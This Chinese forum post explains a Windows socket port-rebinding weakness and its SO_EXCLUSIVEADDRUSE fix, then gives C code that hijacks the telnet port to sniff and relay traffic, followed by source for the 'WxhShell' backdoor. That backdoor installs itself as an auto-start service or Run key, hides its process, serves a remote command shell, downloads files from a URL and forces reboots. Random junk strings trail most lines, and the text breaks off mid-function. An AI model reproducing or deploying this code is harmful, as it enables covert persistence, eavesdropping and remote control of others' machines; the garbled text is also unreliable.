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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qb^jcy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2~:jg1  
p$>e{-u  
  saddr.sin_family = AF_INET; .T*K4m{b0  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZG=B'4W  
9ghZL Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0* G5Vd  
u/`jb2eEU:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I) mP ?  
>d.o1<  
  这意味着什么?意味着可以进行如下的攻击: H+^93  
W/z\j/Rgc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ")J\} $r  
JfJUOaL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,XD'f  
SfKm]Z>Hp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [iJU{W  
TTg>g~t`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e-$ U .cx  
Vb${Oy+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jy=dB-&  
O]ZP- WG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O>zPWVwa  
)&G uZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g[VVxp!C<  
vmI2o'zi  
  #include zdDn. vG  
  #include "AN2K  
  #include YkRv~bc1]  
  #include    RX-qL,dc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   txF)R[dZK  
  int main() B{fPj9Y0  
  { //c<p  
  WORD wVersionRequested; s?;rP,{:p  
  DWORD ret; ^i3~i?\,P  
  WSADATA wsaData; f/spJ<B).4  
  BOOL val; Q>\y%&df  
  SOCKADDR_IN saddr; y`"b%P)+T  
  SOCKADDR_IN scaddr; ]~my<3j}or  
  int err; f wN  
  SOCKET s; %9z N U  
  SOCKET sc; -4P2 2  
  int caddsize; al/3$0#U  
  HANDLE mt; (*63G4Nz\  
  DWORD tid;   VGbuEC[Y  
  wVersionRequested = MAKEWORD( 2, 2 ); :e-&,K  
  err = WSAStartup( wVersionRequested, &wsaData ); 9N(<OY+Dgm  
  if ( err != 0 ) { $gi{)'z  
  printf("error!WSAStartup failed!\n"); ,vBi)H  
  return -1; R} nY8zE  
  } P8DT2|Z6f]  
  saddr.sin_family = AF_INET; O.7Q* ^_  
   1jdv<\U   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N2yxli  
$y !k)"k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c5_?jKpl  
  saddr.sin_port = htons(23); QcyYTg4i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /1X0h  
  { ZyE2=w7n  
  printf("error!socket failed!\n"); qzv$E;zAl  
  return -1; 6&(gp(F  
  } b*4[)Yg4  
  val = TRUE; RulZh2C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .pNPC|XU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?}*A/-Hx0U  
  { !:Lb^C;/  
  printf("error!setsockopt failed!\n"); VFN\ Ryd  
  return -1; 6x\+j  
  } WeGT}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g`KVF"8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zmf\A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jKV,i?  
~__]E53F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .+XGbs]kCi  
  { -Z&6PT7  
  ret=GetLastError(); Va"_.8n|+  
  printf("error!bind failed!\n"); kq6K<e4jO  
  return -1; 4kO[|~#  
  } ]}Hcb)'j@  
  listen(s,2); 9WQC\/w  
  while(1) *JXiOs  
  { [0 7N<<  
  caddsize = sizeof(scaddr); t5h]]TOz  
  //接受连接请求 >V:g'[b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kvh}{@|-  
  if(sc!=INVALID_SOCKET) gBRhO^Sz  
  { 3=xb%Upw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~:ddTv?F  
  if(mt==NULL) !pI)i*V|  
  { a pqzf  
  printf("Thread Creat Failed!\n"); uV<I!jyI  
  break; 5,!,mor$]  
  } *a Y`[,4#$  
  } 4%O*2JAw  
  CloseHandle(mt); c_xtwdkL9  
  } [X:mmM0gd  
  closesocket(s); za7h.yK}  
  WSACleanup(); Uh}n'Xd#{}  
  return 0; JsOPI ]  
  }   +M%i3A  
  DWORD WINAPI ClientThread(LPVOID lpParam) xKKL4ws  
  { 0j%@P[zQ  
  SOCKET ss = (SOCKET)lpParam; 9&5\L  
  SOCKET sc; ' >> IMF  
  unsigned char buf[4096]; )F 6#n&2  
  SOCKADDR_IN saddr; N1WP  
  long num; #5O'XH5_  
  DWORD val; POTW+Zq]  
  DWORD ret; j[YzBXd V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HbF.doXK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p8y_uN QE  
  saddr.sin_family = AF_INET; "/hM&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qWe1`.o  
  saddr.sin_port = htons(23); >L/Rf8j&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jJl6H~ "q  
  { 48M)A  
  printf("error!socket failed!\n"); Ay<'Z6`  
  return -1; %[4/UD=7  
  } ]@1YgV  
  val = 100; rKq/=Avv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G5Y5_r6Gu  
  { mnL \c'  
  ret = GetLastError(); =nOV!!  
  return -1; S{j|("W"[  
  } _Jj/"?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~6@zXHAS  
  { K|];fd U  
  ret = GetLastError(); ?RvXO'ml  
  return -1; VB*N;bM^  
  } *=dFTd"#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #(h~l> r  
  { +V1EqC*  
  printf("error!socket connect failed!\n"); *x[B g]/  
  closesocket(sc); CmRn  
  closesocket(ss); )gV+BHK  
  return -1; Jl&bWp^3  
  } %([$v6y  
  while(1) Pca~V>Hd  
  { NKLGbH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y32F { z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2.}<VivT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^G= wRtS  
  num = recv(ss,buf,4096,0); VgZ<T,SuW  
  if(num>0) m\7-/e2 a  
  send(sc,buf,num,0); R B.j@*  
  else if(num==0) ADA%$NhJ!  
  break; Km]N scq1  
  num = recv(sc,buf,4096,0); fOJk+? c  
  if(num>0) +-'qI_xo  
  send(ss,buf,num,0); u1` 8f]qt  
  else if(num==0) 7GfgW02  
  break; B P"PUl:  
  } 'LFHZ&-  
  closesocket(ss); B+);y  
  closesocket(sc); {b^naE  
  return 0 ; 2iI"|k9M  
  } J:f>/  
J><O 51  
/`hr)  
========================================================== vQ+}rHf`[  
)]J I Q"rR  
下边附上一个代码,,WXhSHELL |_F-Abk  
_XXK1H x  
========================================================== kR^7Z7+#*  
yZK1bnYG|I  
#include "stdafx.h" 5YC56,X  
, 9|%  
#include <stdio.h> j6Jz  
#include <string.h> |{PQ0DS  
#include <windows.h> H; TmG<S  
#include <winsock2.h> *IGxa  
#include <winsvc.h> T_Z@uZom.  
#include <urlmon.h> jm RYL("  
{,IWjt &>  
#pragma comment (lib, "Ws2_32.lib") P :lv Z   
#pragma comment (lib, "urlmon.lib") {tOuKnnS  
m8 0+b8b  
#define MAX_USER   100 // 最大客户端连接数 )FWF T:P~  
#define BUF_SOCK   200 // sock buffer P(X#w  
#define KEY_BUFF   255 // 输入 buffer oge^2  
oCy52Bm.!  
#define REBOOT     0   // 重启 hNDhee`%6  
#define SHUTDOWN   1   // 关机 t vk^L3=<  
OOl{  
#define DEF_PORT   5000 // 监听端口 L!S-f4^5  
~pzaX8!  
#define REG_LEN     16   // 注册表键长度 ?jqZeO#W7  
#define SVC_LEN     80   // NT服务名长度 *Z{$0K  
3 %DA{  
// 从dll定义API eVU:.fx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f@LUp^Z/v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LvWU %?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iM8hGQ`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DIk$9$"<x  
6\5U%~78  
// wxhshell配置信息 ,<EmuEw |  
struct WSCFG { #H!~:Xu   
  int ws_port;         // 监听端口 E*(Q'p9C  
  char ws_passstr[REG_LEN]; // 口令 44%H? ,d  
  int ws_autoins;       // 安装标记, 1=yes 0=no jQb=N%5s  
  char ws_regname[REG_LEN]; // 注册表键名 N e^#5T  
  char ws_svcname[REG_LEN]; // 服务名 >E]*5jqU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 < ht >>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o8s&n3mY}y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8OBvC\%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #m$H'O[WG\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G!rcY5!J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W!X#:UM)  
]6:5<NW  
}; 8U;!1!+ 7)  
W/\7m\ B  
// default Wxhshell configuration ?5(L.XFm  
struct WSCFG wscfg={DEF_PORT, L1F){8[  
    "xuhuanlingzhe", |HG%o 3E]  
    1, W2<X 5'  
    "Wxhshell", PN.6BJvu  
    "Wxhshell", I* bjE '  
            "WxhShell Service", UoLO#C0i  
    "Wrsky Windows CmdShell Service", )j9FB  
    "Please Input Your Password: ", S;t~"87v*  
  1, 26Yg?:kP  
  "http://www.wrsky.com/wxhshell.exe", JQtH },T r  
  "Wxhshell.exe" 'P~*cr ?A  
    }; xS(sRx+A  
$< aBawLZO  
// 消息定义模块 %]R#}amW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fk"{G>&8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sW]n~kTt'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 V"j=1B}  
char *msg_ws_ext="\n\rExit."; /tUl(Fp J`  
char *msg_ws_end="\n\rQuit."; G` 8j ^H,  
char *msg_ws_boot="\n\rReboot..."; AH7k|6ku<*  
char *msg_ws_poff="\n\rShutdown..."; .Yf h*  
char *msg_ws_down="\n\rSave to "; [-CG&l2?L  
S :}s|![p  
char *msg_ws_err="\n\rErr!"; H 0h  
char *msg_ws_ok="\n\rOK!"; T2->  
uVk8KMYU  
char ExeFile[MAX_PATH]; 7'8O*EoB'  
int nUser = 0; x:bYd\ EJ[  
HANDLE handles[MAX_USER]; 7&QVw(:)M  
int OsIsNt; 0GR9opZtA  
Q?tV:jogY  
SERVICE_STATUS       serviceStatus; x'KsQlI/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zm"\D vN)  
y{"E) YY  
// 函数声明 VsmL#@E  
int Install(void); - VE#:&  
int Uninstall(void); &Ch)SD  
int DownloadFile(char *sURL, SOCKET wsh); 0l##M06>  
int Boot(int flag); R#`itIYh  
void HideProc(void); C:K\-P9  
int GetOsVer(void); b1#=q0Zl  
int Wxhshell(SOCKET wsl); bPOx~ CMh  
void TalkWithClient(void *cs); G<z)Ydh_  
int CmdShell(SOCKET sock); ZX0c_Mk=  
int StartFromService(void); Cb6MD  
int StartWxhshell(LPSTR lpCmdLine); >ob/@  
;1dz?'%V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zb 2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @( t:E`8  
93J)9T  
// 数据结构和表定义 hG@ys5  
SERVICE_TABLE_ENTRY DispatchTable[] = f+920/>!Z  
{ ]Rye AJ3  
{wscfg.ws_svcname, NTServiceMain}, 1+jYpYEQW  
{NULL, NULL} HFr3(gNj@  
}; (*ng$z Z$  
.ndQ(B  
// 自我安装 =F&RQ}$   
int Install(void) mig3.is  
{ (HI%C@e9  
  char svExeFile[MAX_PATH]; ]Yg EnZ  
  HKEY key; gp)ds^  
  strcpy(svExeFile,ExeFile); (Pd>*G\  
PR?clg=z  
// 如果是win9x系统,修改注册表设为自启动 q?L(V+X  
if(!OsIsNt) { &w0=/G/T=~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~N9-an  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); udFju&!W  
  RegCloseKey(key); \zU5G#LQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ku?_/-ko]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2[po~}2-0  
  RegCloseKey(key); !j9i=YDb  
  return 0; uw=Ube(  
    } BUinzW z{a  
  } C8:"+;  
} pXv[]v  
else { 9/Dt:R3QU  
XL^N5  
// 如果是NT以上系统,安装为系统服务 ?MM3LA! <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fR4l4 GU?)  
if (schSCManager!=0) o2d~  
{ h)8+4?-4 I  
  SC_HANDLE schService = CreateService C-u/{CP  
  ( i@5%d!J  
  schSCManager, b U]N^og^  
  wscfg.ws_svcname, g@i>R>  
  wscfg.ws_svcdisp, jHH  
  SERVICE_ALL_ACCESS, %:KV2GP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `?^w  
  SERVICE_AUTO_START, ""3m!qn#  
  SERVICE_ERROR_NORMAL, wp.e3l  
  svExeFile, j9ta0~x1*6  
  NULL, 3D{4vMm X  
  NULL, Ln2C#Uf  
  NULL, R.IUBw5;/  
  NULL, %K'*P56  
  NULL >B/&V|E  
  ); $H-D9+8 7  
  if (schService!=0) A;-z#R#V5  
  { <nTmZ-;  
  CloseServiceHandle(schService); ;K\N  
  CloseServiceHandle(schSCManager); $;uWj|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '$h @  
  strcat(svExeFile,wscfg.ws_svcname); I.+)sB?5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xPMyG);  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (SsH uNt.  
  RegCloseKey(key); -*hb^MvP  
  return 0; {L4>2rF  
    } %C`'>,t>  
  } }SMJD  
  CloseServiceHandle(schSCManager); ?ey&Un"  
} nj^q@h  
} BQ9`DYIb  
0uIV6LI  
return 1; )n}]]^Sc  
} iCnUnR{  
8jjk?PUD8  
// 自我卸载 dD^_^'i  
int Uninstall(void) OKZam ik~  
{ cxD}t'T  
  HKEY key; \gp,Txueb  
a|P~LMPM  
if(!OsIsNt) { A_jB|<bjTP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +# RlX3P  
  RegDeleteValue(key,wscfg.ws_regname); -':"6\W  
  RegCloseKey(key); \'??  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /%uZKG P  
  RegDeleteValue(key,wscfg.ws_regname); NT;x1  
  RegCloseKey(key); iijd $Tv  
  return 0; )-.Cne;n  
  } (Gi+7GMV'  
} W7*_T]  
} RUS7Z~5  
else { xS~yH[k  
lbKv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  hmBnV  
if (schSCManager!=0) ayH%  qp  
{ d4p{5F7]^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5mna7 BCEb  
  if (schService!=0) _b!;(~ @p  
  { MdVCD^B  
  if(DeleteService(schService)!=0) { D%jD 8p  
  CloseServiceHandle(schService); r*i$+ Z  
  CloseServiceHandle(schSCManager); O^X[9vrW  
  return 0; mmrW`~-  
  } ,5eH2W  
  CloseServiceHandle(schService); /$FXg;h9$  
  } FVsu8z u  
  CloseServiceHandle(schSCManager); 5W[3_P+  
} ?AV&@EX2C  
} 1Lm].tq  
Ad]<e?oN=  
return 1; ]RH=s7L  
} ^MW\t4pZ  
L.09\1?.n  
// 从指定url下载文件 <qbZG}u  
int DownloadFile(char *sURL, SOCKET wsh) $6:XsrV\a  
{ `a9k!3_L  
  HRESULT hr; %_B:EMPd  
char seps[]= "/"; =bs.2aN&^  
char *token; 0|+>A?E}E  
char *file; N?qIpv/a.  
char myURL[MAX_PATH]; -yX.Jv  
char myFILE[MAX_PATH]; a. h?4+^bN  
Z:# .;wA  
strcpy(myURL,sURL); "n{9- VEmN  
  token=strtok(myURL,seps); P]pmt1a  
  while(token!=NULL) sg3h i"Im  
  { `pP9z;/Xq  
    file=token; Dk)@>l:gI,  
  token=strtok(NULL,seps); $.oOG"u0]  
  } 'R^iKNPs  
uk`T+@K  
GetCurrentDirectory(MAX_PATH,myFILE); 6RK ~Dl&g  
strcat(myFILE, "\\");  M*d-z  
strcat(myFILE, file); g~~m' ^  
  send(wsh,myFILE,strlen(myFILE),0); u$W Bc\ j  
send(wsh,"...",3,0); q{a#HnZo"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sW;7m[o  
  if(hr==S_OK) 0-*Z<cu%l  
return 0; sS C?io  
else F|ETug n  
return 1; T1l&B  
4Z*|Dsw  
} OZG0AX+=#  
aQ&uC )w  
// 系统电源模块 Oc7 >S.1  
int Boot(int flag) :FnOS<_B  
{ $v FrUv  
  HANDLE hToken; 3f_i1|>)'  
  TOKEN_PRIVILEGES tkp; &kb\,mQ  
>Cvjs  
  if(OsIsNt) { a IQOs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "hW(S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?~!tM}X0:3  
    tkp.PrivilegeCount = 1; 8fnR1mWG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l$M$o(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :#WEx_]  
if(flag==REBOOT) { ~u! gUJ:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z+0?yQ=%  
  return 0; X&s7% ]n+  
} |H:<:*=6c  
else { VO9XkA7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /M:H9Z8!  
  return 0; [6_"^jgH  
} r]9e^  
  }  *. 8JP  
  else { (Q'U@{s  
if(flag==REBOOT) { ^+M><jE9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i(0hvV>'  
  return 0; 2\5cjdy  
} m*gj|1k  
else { Q? qjWZY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y<|)'(  
  return 0; _e*c  
} 6%%PP8.F  
} XoJgs$3B  
/tP7uVL R  
return 1; Yq J]7V\  
} {EL'd!v7e  
E`tQe5K  
// win9x进程隐藏模块 kQ~ %=pn  
void HideProc(void) P% Q@9kO>  
{ { UOhVJy  
*2=W5LaK.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \e|U9;Mf  
  if ( hKernel != NULL ) HVGr-/  
  { #d% vT!Bz~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .EG* +,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xorTL8  
    FreeLibrary(hKernel); F@1d%c  
  } "XhOsMJ  
5DOE3T`^Oc  
return; ]26mB  
} {`F1u?l  
&n|*uLn  
// 获取操作系统版本 ec?V[v  
int GetOsVer(void) JOHR mfqR  
{ MRs,l'  
  OSVERSIONINFO winfo; IA2GUnUhu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .LObOR 5J7  
  GetVersionEx(&winfo); :+:6_x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f05=Mc&)  
  return 1; sT`^ljp4  
  else o%`npi1y  
  return 0; @KA1"Wb_  
} ` 8UWE {  
?/'}JS(Sm  
// 客户端句柄模块 qo_]ZKL44  
int Wxhshell(SOCKET wsl) e:OyjG5_  
{ Q]rqD83((  
  SOCKET wsh; ?'sXgo.}  
  struct sockaddr_in client; CZ3].DA|z  
  DWORD myID; Obo_YE  
94{)"w]  
  while(nUser<MAX_USER) Q0~j$Jc  
{ V7C1FV2  
  int nSize=sizeof(client); hH`Jb7 7L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~;unpym'  
  if(wsh==INVALID_SOCKET) return 1; DMd ,8W7a  
TJOvyz`t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jK3\K/ob(  
if(handles[nUser]==0) n3ZAF'  
  closesocket(wsh); xmr|'}Pt[  
else +O+<Go@a  
  nUser++; ia4k:\  
  } b/<mRQ{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %>y;zqZIU  
i8~$o:&HT  
  return 0; 1h=D4yN  
} %l7fR}  
XoItV  
// 关闭 socket vT7g<  
void CloseIt(SOCKET wsh) fg&eoI'f  
{ qC@Ar)T  
closesocket(wsh); {DBIonY];  
nUser--; n"G`b  
ExitThread(0); m^I,}1H4  
} jG D%r~lN  
G{RTH_p  
// 客户端请求句柄 6>DLp}d  
void TalkWithClient(void *cs) 6I|A- h  
{ wsnK3tM7-  
mqFq_UX/ T  
  SOCKET wsh=(SOCKET)cs; |J3NR`-R  
  char pwd[SVC_LEN]; HZZDv+  
  char cmd[KEY_BUFF]; BQjGv?p0s  
char chr[1]; )q3"t2-  
int i,j; @`|)Ia<  
H+l,)Se  
  while (nUser < MAX_USER) { it1/3y =]  
qLjT.7 .x  
if(wscfg.ws_passstr) { U7H9/<&o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Acu@[ I^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5=Lq=,K$  
  //ZeroMemory(pwd,KEY_BUFF); ({[,$dEa;  
      i=0; 'M/ ([|@  
  while(i<SVC_LEN) { N:W9},  
nvyB/  
  // 设置超时 ::"E?CQLV  
  fd_set FdRead; tu}>:mk  
  struct timeval TimeOut; sN/+   
  FD_ZERO(&FdRead); LM.`cb;?G  
  FD_SET(wsh,&FdRead); {exrwnIZj  
  TimeOut.tv_sec=8; #Ufo)\x  
  TimeOut.tv_usec=0; g}Q x`65:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $sgH'/>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o""~jc~  
91d }, Mq:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m ,tXE%l  
  pwd=chr[0]; 9UD @MA  
  if(chr[0]==0xd || chr[0]==0xa) { urZ8j?}c  
  pwd=0; wk[ wNIu  
  break; (3%t+aqq  
  } }5bM1h#z  
  i++; rC }}r!!  
    } `9 [i79U  
h?j_Ry  
  // 如果是非法用户,关闭 socket PRr*]$\&Mj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?L|yaC~  
} UI?=]"  
FvXqggfGv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h-XY4gq/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KoHGweKl#  
D}{b;Un  
while(1) { =`t^~.5  
m5-9yQ=.  
  ZeroMemory(cmd,KEY_BUFF); \:/Lc{*}MD  
.v])S}K  
      // 自动支持客户端 telnet标准   *g$i5!yM'  
  j=0; KIus/S5 RC  
  while(j<KEY_BUFF) { Y(VO.fVJK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;l!`C':'  
  cmd[j]=chr[0]; 7"Mk+'  
  if(chr[0]==0xa || chr[0]==0xd) { ]U_ec*a  
  cmd[j]=0; r88"#C6E'  
  break; K&_Uk548  
  } VmvQvQ/9R  
  j++; $3;Upgv  
    } .-]R9KjR1J  
b?VV'{4  
  // 下载文件 P&=lV}f  
  if(strstr(cmd,"http://")) { G0d&@okbFC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f8n V=AQ  
  if(DownloadFile(cmd,wsh)) 6"QEJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9M-K]0S(  
  else wk $,k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K+d2m9C=  
  } sYn[uPefj  
  else { pv# 2]v  
Mi 0sC24b|  
    switch(cmd[0]) { Qn+:/ zA;  
  ;JTt2qQKo  
  // 帮助 T *>`,}J  
  case '?': { 7y<1LQ;}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^mPPyT,(  
    break; 7"2b H  
  } y8 E}2/  
  // 安装 UY>v"M  
  case 'i': { k$"d^*R  
    if(Install()) s] au/T6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p]&j;H.  
    else 1mgLX_U9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rT6?!$"%.  
    break; /@YCA}|/  
    } Z" v<0]rN  
  // 卸载 WlVl[/qt  
  case 'r': { +c$I&JO  
    if(Uninstall()) QU5Sy oL[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7jA ,~O  
    else gNj7@bX~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i*[n{=*l@  
    break; yfj(Q s  
    } ZI13  
  // 显示 wxhshell 所在路径 \~DM   
  case 'p': { _GA$6#]  
    char svExeFile[MAX_PATH]; LR&_2e^[  
    strcpy(svExeFile,"\n\r"); {ERMGd6Jp  
      strcat(svExeFile,ExeFile); "lVqU  
        send(wsh,svExeFile,strlen(svExeFile),0); K`6z&*  
    break; AHbZQulC  
    } ?ny =  
  // 重启 dQ:cYNm  
  case 'b': { zF&=U`v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %JL]; 4'  
    if(Boot(REBOOT)) x_<qzlQt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'HQQWd  
    else { )b4$A:  
    closesocket(wsh); dF@)M  
    ExitThread(0);  HEF?mD3h  
    } L8$1K&!  
    break; [xlIG}e9  
    } EtJ8^[u2J  
  // 关机 /n5n )P@L  
  case 'd': { }SfbCa)UO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VG@};dwbz*  
    if(Boot(SHUTDOWN)) a:Q[gF8>  
